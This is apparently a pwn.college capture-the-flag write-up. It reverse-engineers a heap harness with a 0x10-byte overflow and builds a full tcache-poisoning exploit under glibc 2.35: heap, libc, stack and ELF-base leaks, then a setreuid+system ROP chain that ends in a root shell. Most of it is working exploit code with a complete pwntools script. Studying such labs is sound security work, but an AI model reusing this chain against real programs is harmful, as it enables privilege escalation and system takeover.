Heap Exploitation — Tcache Poison to RCE
Overview
A pwn.college challenge on dynamic allocator misuse — specifically tcache poisoning under glibc 2.35's safe-linking mitigation. This is the hard variant: no helper leaks printed in the output, every address has to be derived from scratch.
Coming in from the previous challenge in the series, I assumed the binary was structurally identical — same primitives, same interface. That was correct. What changed is the objective: no win function, no chunk that reads the flag. The server expects a privileged shell, which means leaking everything and writing a payload to the stack.
Environment Setup
The binary is dynamically linked against the server's libc — a different version than
whatever is installed locally. This matters because every hardcoded offset in the exploit
(arena pointer distance to libc base, libc.environ offset, gadget addresses)
is specific to that exact libc build. Running against the wrong one means the offsets are
wrong, the leaks are misinterpreted, and the exploit fails silently on the remote even
if it appears to work locally.
The fix is to pull the binary, libc, and loader locally, then patch the binary to use them instead of the server paths.
# Pull the binary, libc, and loader
scp hacker@dojo.pwn.college:/challenge/<binary> .
scp hacker@dojo.pwn.college:/challenge/lib/libc.so.6 .
scp hacker@dojo.pwn.college:/challenge/lib/ld-linux-x86-64.so.2 .
# set interpreter + rpath ($ORIGIN = same dir as binary)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath '$ORIGIN' <binary>
# check hardcoded library path
patchelf --print-needed <binary>
# replace it with just the filename (resolved via $ORIGIN)
patchelf --replace-needed /challenge/lib/libc.so.6 libc.so.6 <binary>
# verify
patchelf --print-needed <binary>
After this, running the binary locally loads the server's exact libc.
Every offset derived in GDB — arena distance to libc base, libc.environ,
gadget addresses — is valid on the remote.
Confirm the version before doing anything else:
strings libc.so.6 | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
Compiled by GNU CC version 11.4.0.
Recon
Checksec
Everything is green — all protections are active. Full RELRO rules out a GOT overwrite. Stack canary rules out a direct stack smash. NX rules out shellcode. PIE randomizes all binary addresses at load time. SHSTK and IBT are Intel CET shadow-stack mitigations — relevant to note, but they don't interfere with a heap-based attack that targets the stack. Not stripped means symbols are intact, which helps when computing libc offsets.
Reverse Engineering
Understanding the Binary
The binary is a custom heap allocator harness — a controlled sandbox where you interact
with glibc's allocator through a text-based command interface over stdin.
There are no helper functions; everything lives inside a single main.
The full decompiled main — renamed variables and Ghidra comments intact:
undefined8 main(undefined8 param_1, undefined8 *param_2)
{
int iVar1;
uint uVar2; // index
uint uVar3; // size
void *pvVar4; // chunk pointer
long lVar5;
undefined8 *puVar6;
ulong *puVar7;
long in_FS_OFFSET;
byte bVar8;
FILE *write_fp;
undefined8 chunks[16]; // pointers to allocated heap regions
ulong chunk_sizes[16]; // stored sizes — not what you'd expect
char cmd_buf[136];
long canary;
bVar8 = 0;
canary = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdin, (char *)0x0, 2, 0);
setvbuf(stdout, (char *)0x0, 2, 0);
puts("###");
printf("### Welcome to %s!\n", *param_2);
puts("###");
putchar(10);
// zero-initialise both arrays
puVar6 = chunks;
for (lVar5 = 0x10; lVar5 != 0; lVar5 = lVar5 + -1) {
*puVar6 = 0;
puVar6 = puVar6 + (ulong)bVar8 * -2 + 1;
}
write_fp = (FILE *)0x0;
puVar7 = chunk_sizes;
for (lVar5 = 0x10; lVar5 != 0; lVar5 = lVar5 + -1) {
*puVar7 = 0;
puVar7 = puVar7 + (ulong)bVar8 * -2 + 1;
}
while (true) {
while (true) {
while (true) {
while (true) {
puts("");
printf("[*] Function (malloc/free/safe_write/safe_read/quit): ");
__isoc99_scanf("%127s", cmd_buf);
puts("");
iVar1 = strcmp(cmd_buf, "malloc");
if (iVar1 != 0) break;
printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
uVar2 = atoi(cmd_buf);
if (0xf < uVar2)
__assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x40, "main");
printf("Size: "); __isoc99_scanf("%127s", cmd_buf); puts("");
uVar3 = atoi(cmd_buf);
pvVar4 = malloc((ulong)uVar3);
chunks[uVar2] = pvVar4;
/* OVERFLOW PRIMITIVE: stored size is malloc_size + 0x10, not malloc_size */
/* chunk_sizes[idx] = malloc_size + 0x10 — this is what safe_read/safe_write will use */
chunk_sizes[uVar2] = (ulong)(uVar3 + 0x10);
}
iVar1 = strcmp(cmd_buf, "free");
if (iVar1 != 0) break;
printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
uVar2 = atoi(cmd_buf);
if (0xf < uVar2)
__assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x53, "main");
free((void *)chunks[uVar2]);
chunks[uVar2] = 0;
}
iVar1 = strcmp(cmd_buf, "safe_read");
if (iVar1 != 0) break;
printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
uVar2 = atoi(cmd_buf);
if (0xf < uVar2)
__assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x60, "main");
/* safe_read: reads chunk_sizes[idx] bytes into chunk — 0x10 bytes past the allocation boundary (overflow) */
read(0, (void *)chunks[uVar2], chunk_sizes[uVar2]);
puts("");
}
iVar1 = strcmp(cmd_buf, "safe_write");
if (iVar1 != 0) break;
if (write_fp == (FILE *)0x0)
write_fp = fdopen(1, "w");
printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
uVar2 = atoi(cmd_buf);
if (0xf < uVar2)
__assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x72, "main");
/* safe_write: leaks chunk_sizes[idx] bytes from chunk — 0x10 bytes past the allocation boundary (over-read) */
fwrite((void *)chunks[uVar2], 1, chunk_sizes[uVar2], write_fp);
/* trailing byte: \x20\n in hard variant */
fwrite(&DAT_001020c3, 1, 1, write_fp);
fflush(write_fp);
}
iVar1 = strcmp(cmd_buf, "quit");
if (iVar1 != 0)
puts("Unrecognized choice!");
puts("### Goodbye!");
if (canary == *(long *)(in_FS_OFFSET + 0x28))
return 0;
__stack_chk_fail();
}
Two stack-allocated arrays of 16 slots each hold all state.
Every operation is bounds-checked against index 15 via __assert_fail.
There is no win function, no flag read — the only exit is quit returning
from main. The objective is a shell.
Command Handlers
The main loop reads a command string via scanf and dispatches through
a chain of strcmp comparisons. Five commands are supported:
malloc <idx> <size> — calls malloc(size),
stores the pointer in chunks[idx], and stores the size in
chunk_sizes[idx]. Straightforward.
pvVar4 = malloc((ulong)uVar3);
chunks[uVar2] = pvVar4;
/* OVERFLOW PRIMITIVE: stored size is malloc_size + 0x10, not malloc_size */
/* chunk_sizes[idx] = malloc_size + 0x10 — this is what safe_read/safe_write will use */
chunk_sizes[uVar2] = (ulong)(uVar3 + 0x10);
free <idx> — calls free(chunks[idx]) and
zeroes the pointer slot. No UAF here — the pointer is cleared after free.
free((void *)chunks[uVar2]);
chunks[uVar2] = 0; // pointer cleared — no UAF
safe_read <idx> — reads from stdin directly into
chunks[idx] using read(0, chunks[idx], chunk_sizes[idx]).
The size used is whatever is stored in chunk_sizes[idx].
/* safe_read: reads chunk_sizes[idx] bytes into chunk — 0x10 bytes past the allocation boundary (overflow) */
read(0, (void *)chunks[uVar2], chunk_sizes[uVar2]);
safe_write <idx> — writes chunk_sizes[idx] bytes
from chunks[idx] to stdout via fwrite, then writes one
trailing byte (\x20\n), then flushes.
/* safe_write: leaks chunk_sizes[idx] bytes from chunk — 0x10 bytes past the allocation boundary (over-read) */
fwrite((void *)chunks[uVar2], 1, chunk_sizes[uVar2], write_fp);
/* trailing byte: \x20\n in hard variant */
fwrite(&DAT_001020c3, 1, 1, write_fp);
fflush(write_fp);
quit — exits the loop and returns from main.
This is the trigger for any payload written to the return address.
iVar1 = strcmp(cmd_buf, "quit");
if (iVar1 != 0)
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0; // main returns — any payload on the stack executes here
Spotting the Primitive
Going back to the malloc handler — this line stands out:
chunk_sizes[idx] = (ulong)(size + 0x10);
The stored size is not the allocation size. It is the allocation size
plus 16 bytes. That extra 0x10 is exactly the size of a glibc chunk header
(prev_size + chunk_size fields). Since
safe_read and safe_write use chunk_sizes[idx]
as their byte count, every read and every write silently crosses the chunk boundary
by 0x10 bytes into the next contiguous chunk's metadata.
On a 24-byte allocation, those 0x10 bytes reach the next chunk's
prev_size, chunk_size, and — critically — its
fd pointer. Controlling fd on a freed tcache chunk is the
tcache poison primitive.
pvVar4 = malloc((ulong)uVar3);
chunks[uVar2] = pvVar4;
/* OVERFLOW PRIMITIVE: stored size is malloc_size + 0x10, not malloc_size */
chunk_sizes[uVar2] = (ulong)(uVar3 + 0x10); // <-- the bug
// ...later, in safe_read:
read(0, (void *)chunks[uVar2], chunk_sizes[uVar2]); // reads size+0x10 bytes
// ...later, in safe_write:
fwrite((void *)chunks[uVar2], 1, chunk_sizes[uVar2], write_fp); // leaks size+0x10 bytes
Confirming with pwndbg
Before building the exploit, I confirmed the primitive dynamically. Allocating two
adjacent 24-byte chunks, then calling safe_write on chunk 0, the output
is 40 bytes — 24 bytes of chunk 0 data followed by 16 bytes that belong to chunk 1's
header. The over-read crosses the boundary exactly as expected.
Conversely, writing 40 bytes via safe_read into chunk 0 lets me overwrite
chunk 1's prev_size, chunk_size, and fd —
memory I have no business touching based on the allocation.
assets/img/writeups/heap-tcache-poison-rce/pwndbg-overflow-proof.png — pwndbg showing two adjacent chunks in memory (x/8gx or vis), then after safe_read on chunk 0 the output visibly overwrites chunk 1's header fields
Exploit Plan
With no direct target and full mitigations enabled, the path to a shell requires building four leaks in sequence — each one unlocking the next — then writing a privilege-escalating payload to the stack:
- Heap leak — from the mangled tcache
fdof a freed chunk - Libc leak — from the unsorted bin
fdof a large freed chunk - Stack leak — via tcache poison to
libc.environ - ELF base leak — from the saved return address on
main's stack frame - Shell —
setreuid(0, 0)+system("/bin/sh")written to the stack
The obvious first thought for a tcache poison target is __malloc_hook or
__free_hook — one-shot arbitrary execution. Both were removed in glibc 2.34.
With those gone, the cleanest path is pivoting through the stack: leak a stack address
via libc.environ, then poison tcache a second time to write directly to
main's return address.
Phase 1 — Heap Leak
Glibc 2.32 introduced safe-linking: when a chunk is freed into the tcache, its
fd pointer is stored as fd = (chunk_addr >> 12) ^ next_ptr.
For the first freed chunk in an empty bin, next_ptr is NULL, so
fd is just chunk_addr >> 12 — a recoverable heap address.
Reading it back after a malloc/free/malloc cycle leaks the heap base.
# Chunks 0 and 1 are allocated early — they'll be used as the overflow source later
io.sendline(b"malloc 0 24")
io.sendline(b"malloc 1 24")
# malloc 2, free it (fd gets set to heap_addr >> 12), reallocate (fd remains in data)
io.sendline(b"malloc 2 24")
io.sendline(b"free 2")
io.sendline(b"malloc 2 24")
io.sendline(b"safe_write 2")
leak = io.recv(8)
heap_base = u64(leak) << 12 # undo the right-shift
With the heap base known, we can compute the safe-linking key used in future
tcache poison steps: key = heap_base >> 12.
Phase 2 — Libc Leak
Chunks larger than 0x400 bytes bypass the tcache entirely and go to the unsorted bin
when freed. The unsorted bin's fd points directly into main_arena
inside libc — a real libc address, readable with the same safe_write trick.
One detail that matters: before freeing the large chunk, allocate a small guard chunk between it and the top chunk. Without it, glibc coalesces the freed large chunk back into the top chunk instead of putting it in the unsorted bin, and there's nothing to read.
io.sendline(b"malloc 10 1048") # large chunk — goes to unsorted bin on free
io.sendline(b"malloc 3 24") # guard chunk — blocks coalescing with top chunk
io.sendline(b"free 10")
io.sendline(b"malloc 10 1048") # reallocate — unsorted bin fd is now in the data region
io.sendline(b"safe_write 10")
leak = io.recv(8)
libc.address = u64(leak) - 0x219ce0 # known offset from arena pointer to libc base
The 0x219ce0 offset isn't assumed — it's read directly from pwndbg.
Pause the binary after the leak and run xinfo on the raw leaked value.
Pwndbg will show which memory mapping the address falls in and its exact offset from
the start of that mapping. If the fd leaked from the unsorted bin lands inside the
libc mapping, that offset is the distance from libc base to main_arena's
internal fd — which is precisely what we subtract.
The left pane shows the exploit receiving the raw leak and computing libc.address.
The right pane confirms it with xinfo: pwndbg resolves the address to the
libc.so.6 mapping and shows File (Base) offset = 0x219ce0 — exactly
the value subtracted to get libc base.
With the base known, pwntools resolves libc.environ for free — because the
libc we copied is not stripped, its symbol table is intact and pwntools reads the offset
directly from it:
environ_addr = libc.sym['environ'] # pwntools reads the offset from libc's symbol table
No hardcoded offsets needed — pwntools adds the symbol's offset to libc.address
and gives back the concrete runtime address of environ, which is the next
poison target.
Phase 3 — Stack Leak via Tcache Poison
libc.environ holds a pointer into the process's environment block,
which lives on the stack in a fixed relationship to main's return address.
If we can allocate a chunk there and read it, we get a stack address and can compute
the return address offset from it via backtrace inspection in GDB.
To forge an allocation at an arbitrary address, we overwrite the fd pointer
of a freed tcache chunk with the mangled target:
mangled = target ^ (heap_base >> 12). The next two allocations of
the same size return first the poisoned chunk, then the forged address.
# Free chunks 2 and 1 — order matters: 1 must be freed last so it's at the tcache head
io.sendline(b"free 2")
io.sendline(b"free 1")
key = heap_base >> 12
mangled = libc.sym.environ ^ key
# Overflow from chunk 0 into chunk 1's fd pointer
payload = flat(
p64(0x22) * 3, # fill chunk 0 data (24 bytes) + overflow chunk 1's prev_size
p64(0x21), # keep chunk 1's size field valid
p64(mangled), # overwrite chunk 1's fd -> libc.environ
)
io.sendline(b"safe_read 0")
io.send(payload)
io.sendline(b"malloc 1 24") # pops chunk 1 from tcache head
io.sendline(b"malloc 2 24") # tcache now serves the forged pointer: libc.environ
io.sendline(b"safe_write 2")
stack_address = u64(io.recv(8))
ret_address = stack_address - 0x120
The -0x120 offset is not guessed — it is read directly from the running
process. The method: pause the binary in pwndbg right after the libc leak, then use
backtrace to see the live call stack and identify the address where
main's return address is stored. Then use telescope or raw
stack inspection around the value read from libc.environ to compute the
distance between the two.
Step 1 — backtrace reveals the exact stack address holding
main's return address:
Step 2 — raw stack inspection around the libc.environ
value. telescope at the leaked stack address shows the surrounding
qwords — scrolling down makes the return address visible and the offset calculable:
With stack_address - ret_address_location = 0x120 confirmed,
writing directly to ret_address turned out to be misaligned — the chunk
data would start mid-payload. Targeting rbp instead (8 bytes before
ret) aligns the write perfectly: p64(0x0) lands on saved
rbp, and the chain starts exactly at the return address.
rbp_address = ret_address - 0x8
Verifying the poison in pwndbg
Before running the full exploit, I confirmed the primitive works as expected by pausing in GDB just before and after the tcache overwrite.
Heap layout before the overflow — vis shows chunk 0 and chunk 1
side by side, both intact, chunk 1's fd pointing normally into the tcache bin:
assets/img/writeups/heap-tcache-poison-rce/vis-before-overflow.png — pwndbg vis, chunk 0 and chunk 1 intact, chunk 1 fd pointing normally into tcache bin
After writing the payload via safe_read 0 — vis again.
Chunk 0's data is filled, and chunk 1's fd now holds the mangled pointer to
libc.environ. This is the write we should not be able to do based on the
allocation size alone:
assets/img/writeups/heap-tcache-poison-rce/vis-after-overflow.png — pwndbg vis, chunk 1 fd overwritten with mangled libc.environ pointer
Tcache bin before and after — tcache shows where the next
allocation of this size class will land. Before the overflow it points to a valid heap
address; after it points into libc:
assets/img/writeups/heap-tcache-poison-rce/tcache-before-overflow.png — pwndbg tcache, fd is a normal heap address
assets/img/writeups/heap-tcache-poison-rce/tcache-after-overflow.png — pwndbg tcache, fd now points to libc.environ (demangled)
Confirming libc.environ holds a stack address — the exploit
logs the address computed via libc.sym['environ']; p &environ
in pwndbg returns the same value, and telescope at that address shows the
stack pointer stored inside it — the value we are about to leak:
assets/img/writeups/heap-tcache-poison-rce/vmmap-stack.png — pwndbg vmmap with the stack segment highlighted
Phase 4 — ELF Base Leak
This phase applies the same tcache poison technique as Phase 3 — vis and
tcache in pwndbg confirm the same overwrite pattern, now targeting
rbp_address on the stack instead of libc.environ.
Before writing the final payload, I poisoned the tcache a second time to allocate at
rbp_address and read the stack frame contents. At rbp + 0x18
sits the saved return address back into main — a binary address that,
minus a static offset found by disassembly, gives the ELF base and validates
that PIE randomization is correctly accounted for.
# Fresh set of chunks at size 72 for the second poison
io.sendline(b"malloc 0 72")
io.sendline(b"malloc 1 72")
io.sendline(b"malloc 2 72")
io.sendline(b"free 2")
io.sendline(b"free 1")
mangled = rbp_address ^ key
payload = flat(
p64(0x22) * 9, # fill chunk 0 (72 bytes)
p64(0x51), # keep chunk 1's size field valid (0x50 + prev_inuse)
p64(mangled), # overwrite chunk 1's fd -> rbp_address
)
io.sendline(b"safe_read 0")
io.send(payload)
io.sendline(b"malloc 1 72")
io.sendline(b"malloc 2 72") # lands at rbp_address
io.sendline(b"safe_write 2")
io.recv(8 * 3) # skip: saved rbp, saved rsp, __libc_start_call_main return stub
leak = io.recv(8)
main_address = u64(leak)
elf.address = main_address - 0x1957
telescope rbp_address in pwndbg makes this obvious — it prints each
qword in the frame with resolved symbols next to it. The first entries show stack
and libc addresses; the one that resolves into the binary (shown as
<binary+offset>) is the return address into main.
Reading that offset directly gives the 0x1957 delta to subtract from
the leaked value to get the ELF base.
assets/img/writeups/heap-tcache-poison-rce/telescope-rbp-frame.png — pwndbg telescope at rbp_address showing the stack frame qwords with resolved symbols; the binary return address entry is clearly distinguishable from the libc and stack entries
Worth noting: all gadgets for the final payload come from libc, not the binary, so the ELF base itself isn't strictly needed to execute the shell. It's useful for offset validation and as a sanity check that the whole chain is consistent before committing the final write.
Phase 5 — Privilege Escalation
The binary runs as a privileged user on the server. Calling system("/bin/sh")
alone spawns a shell under the original UID — not root. The fix is prepending a
setreuid(0, 0) call to set both real and effective UIDs to 0 before
executing the shell.
Pwntools' ROP(libc) searches the loaded libc for gadgets automatically —
not just the binary. Since the binary is largely devoid of useful gadgets, pointing
pwntools at the libc object (already rebased after the leak) gives direct access to
pop rdi, pop rsi, and everything else needed.
rop = ROP(libc)
rop.raw(rop.rdi)
rop.raw(0) # ruid = 0
rop.raw(rop.rsi)
rop.raw(0) # euid = 0
rop.raw(libc.sym.setreuid)
rop.raw(rop.rdi)
rop.raw(next(libc.search(b'/bin/sh')))
rop.raw(libc.sym.system)
# chunk 2 is already at rbp_address — write null rbp + chain
io.sendline(b"safe_read 2")
io.send(p64(0x0) + rop.chain())
# trigger: main() returns, walks the chain
io.sendline(b"quit")
Before triggering — telescope rbp_address shows the
payload written to the stack. The first qword is the null saved rbp, followed by the
gadgets in order: pop rdi → 0 → pop rsi → 0 →
setreuid → pop rdi → /bin/sh → system:
assets/img/writeups/heap-tcache-poison-rce/telescope-rop-chain.png — pwndbg telescope at rbp_address showing the written gadgets in order on the stack
After quit triggers the return — backtrace
shows the execution walking the chain, confirming each gadget fires in the right order
before landing in system:
assets/img/writeups/heap-tcache-poison-rce/backtrace-chain.png — pwndbg backtrace mid-chain execution showing the gadget sequence executing
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
Full Script
#!/usr/bin/env python3
from pwn import *
# --- ARCH ---
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
if args.GDB:
context.gdb_binary = 'gdb-pwndbg'
exe = './tcache-terror-hard'
elf = context.binary = ELF(exe, checksec=False)
# patched to load ./ld-linux-x86-64.so.2 and ./libc.so.6 ($ORIGIN rpath)
libc = ELF('./libc.so.6', checksec=False)
context.log_level = 'debug'
gdbscript = '''
b main
c
'''
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.DOJO:
return process(['/challenge/run'] + argv, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
io = start()
PROMPT = b"[*] Function (malloc/free/safe_write/safe_read/quit): "
def cmd(line):
io.recvuntil(PROMPT)
io.sendline(line)
# for future use in tcache poison
cmd(b"malloc 0 24")
cmd(b"malloc 1 24")
# leak heap
cmd(b"malloc 2 24")
cmd(b"free 2")
cmd(b"malloc 2 24")
cmd(b"safe_write 2")
io.recvuntil(b"\x20\x0a")
leak = io.recv(8)
heap_base = u64(leak) << 12
log.info(f"raw leak: {leak}")
log.success(f"heap_base: {hex(heap_base)}")
# leak libc
cmd(b"malloc 10 1048")
cmd(b"malloc 3 24") # guard
cmd(b"free 10")
cmd(b"malloc 10 1048")
cmd(b"safe_write 10")
io.recvuntil(b"\x20\x0a")
leak = io.recv(8)
libc.address = u64(leak) - 0x219ce0
log.info(f"raw leak: {leak}")
log.success(f"libc address: {hex(libc.address)}")
log.success(f"libc.environ: {hex(libc.sym.environ)}")
# massage the heap
cmd(b"free 2")
cmd(b"free 1")
# leak stack via tcache poison to libc.environ
key = heap_base >> 12 # same as chunk_1 >> 12 | because is in early heap
mangled = libc.sym.environ ^ key
log.info(f"mangled: {hex(mangled)}")
payload = flat(
p64(0x22) * 3, # chunk_0
p64(0x21), # chunk_1 size
p64(mangled), # chunk_1 fd -> libc.environ
)
cmd(b"safe_read 0")
io.send(payload)
cmd(b"malloc 1 24")
cmd(b"malloc 2 24") # points to libc.environ
cmd(b"safe_write 2")
io.recvuntil(b"\x20\x0a")
leak = io.recv(8)
stack_address = u64(leak)
log.info(f"raw leak: {leak}")
log.success(f"stack_address: {hex(stack_address)}")
ret_address = stack_address - 0x120
# not aligned — target rbp instead
rbp_address = ret_address - 0x8
log.success(f"ret_address: {hex(ret_address)}")
log.success(f"rbp_address: {hex(rbp_address)}")
# massage the heap
cmd(b"malloc 0 72")
cmd(b"malloc 1 72")
cmd(b"malloc 2 72")
cmd(b"free 2")
cmd(b"free 1")
# tcache poison to rbp_address
mangled = rbp_address ^ key
log.info(f"mangled: {hex(mangled)}")
payload = flat(
p64(0x22) * 9, # chunk_0
p64(0x51), # chunk_1 size
p64(mangled), # chunk_1 fd -> rbp_address
)
cmd(b"safe_read 0")
io.send(payload)
cmd(b"malloc 1 72")
cmd(b"malloc 2 72") # points to rbp_address
# leak elf base via saved return address on main's stack frame
cmd(b"safe_write 2")
io.recvuntil(b"\x20\x0a")
io.recv(8 * 3) # skip to the main return address
leak = io.recv(8)
main_address = u64(leak)
log.info(f"raw leak: {leak}")
log.success(f"main_address: {hex(main_address)}")
elf.address = main_address - 0x1957
log.success(f"elf.address: {hex(elf.address)}")
log.success(f"libc system: {hex(libc.sym.system)}")
# setreuid(0,0) + system("/bin/sh") via libc gadgets
sys_addr = libc.sym.system
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.sym.setreuid
rop = ROP(libc)
rop.raw(rop.rdi)
rop.raw(0) # ruid = 0
rop.raw(rop.rsi)
rop.raw(0) # euid = 0
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
cmd(b"safe_read 2")
io.send(p64(0x0) + rop.chain()) # p64(0x0) lands on saved rbp
# trigger: main() returns, walks the chain
cmd(b"quit")
io.interactive()